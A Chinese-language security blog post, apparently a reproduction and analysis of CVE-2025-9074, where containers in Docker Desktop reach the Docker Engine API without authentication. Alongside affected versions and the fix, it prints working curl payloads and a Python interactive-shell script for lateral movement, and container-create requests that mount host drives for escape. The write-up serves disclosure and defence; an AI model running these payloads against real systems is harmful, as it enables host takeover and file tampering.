← 返回列表

【漏洞复现】CVE-2025-9074 Docker Desktop未授权访问漏洞复现&分析

单站 Dubito 发布 Fri, 29 Aug 2025 00:00:00 GMT 入库 2026-11-18T05:19:45

Docker Desktop近期披露了一个CVSS评分9.3的高危漏洞,可导致Docker engine API未授权访问。本文对其进行了漏洞复现和原理分析。

Docker Desktop 是一款适用于 Windows 和 Mac 的桌面应用程序,它通过提供一个直观的 GUI 和 CLI 工具集,让用户能轻松地在本地环境中构建、分享和运行容器化应用程序。

Docker Desktop 中发现一个漏洞CVE-2025-9074[1],该漏洞允许本地运行的 Linux 容器通过配置的 Docker 子网访问 Docker Engine API(默认为 192.168.65.7:2375)。无论是否启用增强容器隔离(Enhanced Container Isolation,ECI),也无论是否启用“Expose daemon on tcp://localhost:2375 without TLS(在 tcp://localhost:2375 上无 TLS 暴露守护进程)”选项,此漏洞均存在。

打开Docker Desktop,在任意界面处查看右下角版本号:

若版本号位于4.25(含)到4.44.3(不含)之间即为存在漏洞。

升级至Docker Desktop 4.44.3[2]及其以上的版本。

如图所示,Docker Desktop实际上通过Docker引擎来管理容器。当用户在其UI界面上执行操作时,实际上是将请求发送至Docker Engine API,再由引擎处理调度容器。在Docker Desktop 4.44.3之前的版本中,Docker Engine API默认对所有容器开放。如果存在某个失陷容器(或容器应用具有SSRF漏洞),则可直接向Docker Engine API发送请求,执行容器信息侦查、容器间横向移动乃至容器逃逸等高危操作,直接危及宿主机。

Docker Engine相当于是Docker运行的大脑,而Docker Engine API具有几乎一切调度管理容器的能力。Docker Desktop受影响版本中启动的任意容器,均可向该API发送请求,可造成容器逃逸,使得攻击者拥有宿主机访问权限;若Docker Desktop使用管理员权限启动,还可使攻击者对宿主机文件系统拥有管理员权限。毋庸置疑,该漏洞危害极大。

考虑到大部分企业的云集群及上云应用均部署在Linux架构上,而Docker Desktop主要影响Windows和Mac,因此,其影响面较窄。

但仍有部分用户将云集群通过Docker Desktop部署并开放至公网。经查阅,Github上存在一个为Docker Desktop for Mac/Windows开启Kubernetes的开源项目k8s-for-docker-desktop[3] ,拥有5k star数,表明仍有不少用户采用该方式部署云集群:

本文使用的环境为:

本文中的的漏洞复现均在python:3.11.7容器中完成,以此模拟一个失陷容器可进行的攻击操作。

    1. 使用以下命令启动容器后进入交互终端:

docker run -it python:3.11.7 bash
1. 2. 执行以下命令即可验证API未授权访问:

curl http://192.168.65.7:2375/version
注:其中,192.168.65.7:2375为Docker Desktop默认引擎API地址,该通信子网可在Docker Desktop - 设置 - Resources - Network中查看/修改:

命令执行完成后,可看到如下所示的响应,返回版本信息,表明API未授权访问成功:

当攻陷环境中某个容器时,通过暴露的Docker API,可在容器间进行横向移动。这里通过API的exec功能在其他容器中执行命令。

通过以下docker API可查询当前环境内运行了哪些容器:

curl http://192.168.65.7:2375/containers/json
可以看到响应信息中包含当前主机上运行的各个容器的信息,其中的id即为容器id,这里以发现的doocs/md:2.0.3容器为例进行命令执行。

    1. 使用以下API构造容器exec实例,模拟 docker exec -it <container_id> ps -ef命令效果:
curl -X POST "http://192.168.65.7:2375/containers/<container_id>/exec" -H "Content-Type: application/json" -d '{
    "AttachStdin": true,
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true,
    "Cmd": ["ps", "-ef"]
}'

其中的<container_id>为刚刚查询到的容器id,执行完成后会得到一个exec id:

    1. 结合刚刚的exec id,启动exec实例,使命令执行:

curl -X POST "http://192.168.65.7:2375/exec/<container_exec_id>/start" -H "Content-Type: application/json" -d '{"Detach": false, "Tty": true}'
即可看到命令执行结果:

通过上述方式,每次命令执行都需要执行两条命令,实属不便。尝试通过python脚本建立一个其他容器的交互式窗口。

    1. 在容器内执行命令安装相关python依赖:

pip install docker websocket-client
1. 2. 将下述python脚本保存为 start_terminal.py文件:

import docker
import argparse
import sys
import os
import select
import termios
import tty
import signal
defsetup_terminal():
    """保存当前终端设置并设置为原始模式"""
    old_attr = termios.tcgetattr(sys.stdin.fileno())
    tty.setraw(sys.stdin.fileno())
    return old_attr
defrestore_terminal(old_attr):
    """恢复终端原始设置"""
    termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_attr)
defget_terminal_size():
    """获取当前终端大小"""
    try:
        rows, columns = os.popen('stty size', 'r').read().split()
        returnint(rows), int(columns)
    except:
        return24, 80# 默认大小
defget_socket_from_response(sock_response):
    """从不同的 docker-py 版本响应中提取 socket 对象"""
    # 尝试不同的属性名
    ifhasattr(sock_response, '_socket'):
        return sock_response._socket
    elifhasattr(sock_response, 'sock'):
        return sock_response.sock
    elifhasattr(sock_response, '_sock'):
        return sock_response._sock
    else:
        # 如果以上都没有,可能返回的就是 socket 对象本身
        return sock_response
defmain():
    # 设置命令行参数解析
    parser = argparse.ArgumentParser(description='通过 Docker API 进入容器交互式终端')
    parser.add_argument('container_id', help='容器ID')
    parser.add_argument('--command', '-c', default='/bin/bash', 
                       help='要执行的命令 (默认: /bin/bash)')
    parser.add_argument('--host', default='http://192.168.65.7:2375',
                       help='Docker 守护进程地址 (默认: http://192.168.65.7:2375)')

    args = parser.parse_args()

    # 验证容器ID
    ifnot args.container_id:
        print("错误: 必须提供容器ID", file=sys.stderr)
        sys.exit(1)

    old_attr = None

    try:
        # 连接到 Docker
        client = docker.DockerClient(base_url=args.host)

        # 测试连接
        try:
            client.ping()
            print(f"成功连接到 Docker 守护进程: {args.host}")
        except Exception as e:
            print(f"无法连接到 Docker 守护进程 {args.host}: {e}", file=sys.stderr)
            sys.exit(1)

        # 获取容器
        try:
            container = client.containers.get(args.container_id)
            print(f"找到容器: {args.container_id} ({container.name})")
        except docker.errors.NotFound:
            print(f"错误: 找不到容器 {args.container_id}", file=sys.stderr)
            sys.exit(1)
        except docker.errors.APIError as e:
            print(f"Docker API 错误: {e}", file=sys.stderr)
            sys.exit(1)

        # 获取当前终端大小
        rows, columns = get_terminal_size()

        # 创建 exec 实例
        print("创建 exec 实例...")
        exec_id = client.api.exec_create(
            container=args.container_id,
            cmd=args.command,
            stdin=True,
            stdout=True,
            stderr=True,
            tty=True,
            environment=None
        )['Id']

        # 启动 exec 实例并获取 socket
        print("启动 exec 实例...")
        sock_response = client.api.exec_start(
            exec_id=exec_id,
            detach=False,
            tty=True,
            socket=True
        )

        # 获取真正的 socket 对象
        sock = get_socket_from_response(sock_response)

        if sock isNone:
            print("错误: 无法获取 socket 连接", file=sys.stderr)
            sys.exit(1)

        print(f"Socket 类型: {type(sock)}")

        # 设置终端大小
        try:
            client.api.exec_resize(
                exec_id=exec_id,
                height=rows,
                width=columns
            )
            print(f"设置终端大小: {rows}x{columns}")
        except Exception as e:
            print(f"警告: 调整终端大小失败: {e}", file=sys.stderr)

        # 设置终端原始模式
        old_attr = setup_terminal()

        print(f"已连接到容器 {args.container_id},输入 Ctrl+C 或 exit 退出")
        # print("-" * 50)

        # 处理终端窗口大小变化信号
        defhandle_sigwinch(signum, frame):
            new_rows, new_columns = get_terminal_size()
            try:
                client.api.exec_resize(
                    exec_id=exec_id,
                    height=new_rows,
                    width=new_columns
                )
            except Exception as e:
                # 静默处理调整大小错误
                pass

        signal.signal(signal.SIGWINCH, handle_sigwinch)

        # 主循环:处理输入输出
        whileTrue:
            try:
                # 检查 socket 和 stdin 是否有数据可读
                r, w, e = select.select([sock, sys.stdin], [], [], 0.1)

                if sock in r:
                    # 读取容器输出
                    try:
                        data = sock.recv(1024)
                        ifnot data:
                            print("\n容器连接已关闭")
                            break
                        # 将容器输出写到标准输出
                        os.write(sys.stdout.fileno(), data)
                    except (ConnectionResetError, BrokenPipeError, OSError):
                        print("\n容器连接已断开")
                        break
                    except Exception as e:
                        print(f"\n读取数据错误: {e}")
                        break

                if sys.stdin in r:
                    # 读取键盘输入
                    try:
                        data = os.read(sys.stdin.fileno(), 1024)
                        ifnot data:
                            break
                        # 特殊处理:Ctrl+C (ASCII 3) 和 Ctrl+D (ASCII 4)
                        if data == b'\x03':  # Ctrl+C
                            sock.send(data)
                        elif data == b'\x04':  # Ctrl+D
                            sock.send(data)
                            print("\n发送退出信号")
                            break
                        else:
                            # 发送键盘输入到容器
                            sock.send(data)
                    except (ConnectionResetError, BrokenPipeError, OSError):
                        print("\n发送数据失败")
                        break
                    except Exception as e:
                        print(f"\n发送数据错误: {e}")
                        break

            except KeyboardInterrupt:
                # 发送 Ctrl+C 到容器
                try:
                    sock.send(b'\x03')
                except:
                    break
            except Exception as e:
                print(f"\n发生错误: {e}")
                break

    except KeyboardInterrupt:
        print("\n用户中断操作")
    except docker.errors.DockerException as e:
        print(f"Docker 连接错误: {e}", file=sys.stderr)
        sys.exit(1)
    except Exception as e:
        print(f"未知错误: {e}", file=sys.stderr)
        sys.exit(1)
    finally:
        # 恢复终端设置
        if old_attr:
            restore_terminal(old_attr)
        print("连接已关闭")
if __name__ == "__main__":
    main()
    1. 通过以下命令将python脚本上传至攻陷的容器 python:3.11.7 :
# 查看容器id
docker ps
# 上传文件至容器根目录,需使用查到的容器id
docker cp start_terminal.py <container_id>:/
    1. 在容器 python:3.11.7 中执行脚本:

python start_terminal.py <container_id> -c /bin/sh
在出现的交互式终端输入命令ps -ef ,可以看到1号进程为目标容器doocs/md:2.0.3的进程md,表明成功建立交互式终端:

至此,成功实现容器间的横向移动。

通过docker API还可以创建容器,挂载主机磁盘,实现容器逃逸。

    1. 可通过以下命令,创建一个容器,挂载主机磁盘,实现宿主机文件任意读取/写入:
curl -X POST "http://192.168.65.7:2375/containers/create" -H "Content-Type: application/json" -d '{
    "Image": "python:3.11.7",
    "Cmd": ["sh", "-c", "echo hacked > /tmp/dubito.txt"],
    "HostConfig": {
        "Binds":["/mnt/host/d:/tmp"]
    }
}'
# 下方中的<container_id>取自上一条命令输出的容器id
curl -X POST "http://192.168.65.7:2375/containers/<container_id>/start" 

上述payload第一条命令将创建一个将宿主机D盘挂载至容器中/tmp目录的容器,容器启动命令设置为sh -c echo hacked > /tmp/dubito.txt;通过第二条命令启动容器,则该命令执行,将文件dubito.txt写入D盘根目录。

执行效果如图所示,文件dubito.txt成功写入D盘根目录:

    1. 上述容器执行完启动命令后即退出,若每次执行命令都需要创建容器难免动静过大,因此,可通过以下命令创建一个持久化容器:
curl -X POST "http://192.168.65.7:2375/containers/create" -H "Content-Type: application/json" -d '{
    "Image": "python:3.11.7",
    "Cmd": ["sleep", "999d"],
    "HostConfig": {
        "Privileged": true,
        "Binds":["/mnt/host/c:/tmp"]
    },
    "Tty": true
}'
# 下方中的<container_id>取自上一条命令输出的容器id
curl -X POST "http://192.168.65.7:2375/containers/<container_id>/start" 

这次挂载C盘,并设置其为特权容器,以尝试是否能够写入文件到C盘。

执行命令后,容器创建成功,通过前文3.2.2.3一节中的python脚本启动交互式终端,进入/tmp目录,可成功看到C盘文件:

尝试对C盘文件进行写入和读取。发现文件写入失败,提示权限不足;文件读取正常:

这是由于启动Docker Desktop的用户为普通用户,因此容器中继承的权限也为普通用户权限,所以无法在C盘写入文件。

    1. 以管理员身份运行Docker Desktop,再次测试上一步,可发现文件写入成功:
    1. 也可尝试直接挂载宿主机根目录,可便捷访问所有磁盘及wsl子系统:
curl -X POST "http://192.168.65.7:2375/containers/create" -H "Content-Type: application/json" -d '{
    "Image": "python:3.11.7",
    "Cmd": ["sleep", "999d"],
    "HostConfig": {
        "Binds":["/mnt/host:/tmp"]
    },
    "Tty": true
}'
# 下方中的<container_id>取自上一条命令输出的容器id
curl -X POST "http://192.168.65.7:2375/containers/<container_id>/start" 

从安全工具的角度出发,可通过以下方式检出该漏洞/攻击过程(仅列举检测思路):

漏洞检测:

漏洞攻击检测:

[1] CVE-2025-9074:https://www.cve.org/CVERecord?id=CVE-2025-9074

[2]Docker Desktop 4.44.3:https://docs.docker.com/desktop/release-notes/#4443

[3]k8s-for-docker-desktop:https://github.com/denverdino/k8s-for-docker-desktop

[4]官网:https://docs.docker.com/desktop/release-notes

[5]CVE-2025-9074漏洞描述:https://www.cve.org/CVERecord?id=CVE-2025-9074

[6]When a SSRF is enough: Full Docker Escape on Windows Docker Desktop (CVE-2025-9074):https://blog.qwertysecurity.com/Articles/blog3.html

[7]Breaking Docker’s Isolation Using... Docker? (CVE-2025-9074):https://pvotal.tech/breaking-dockers-isolation-using-docker-cve-2025-9074/

[8]Github:zenzue/CVE-2025-9074:https://github.com/zenzue/CVE-2025-9074

Collected in云安全技术干货#云安全技术干货

,

选择留言身份

原文链接:https://mp.weixin.qq.com/s/nL4AYflaBYCCsM6xnx5_Kw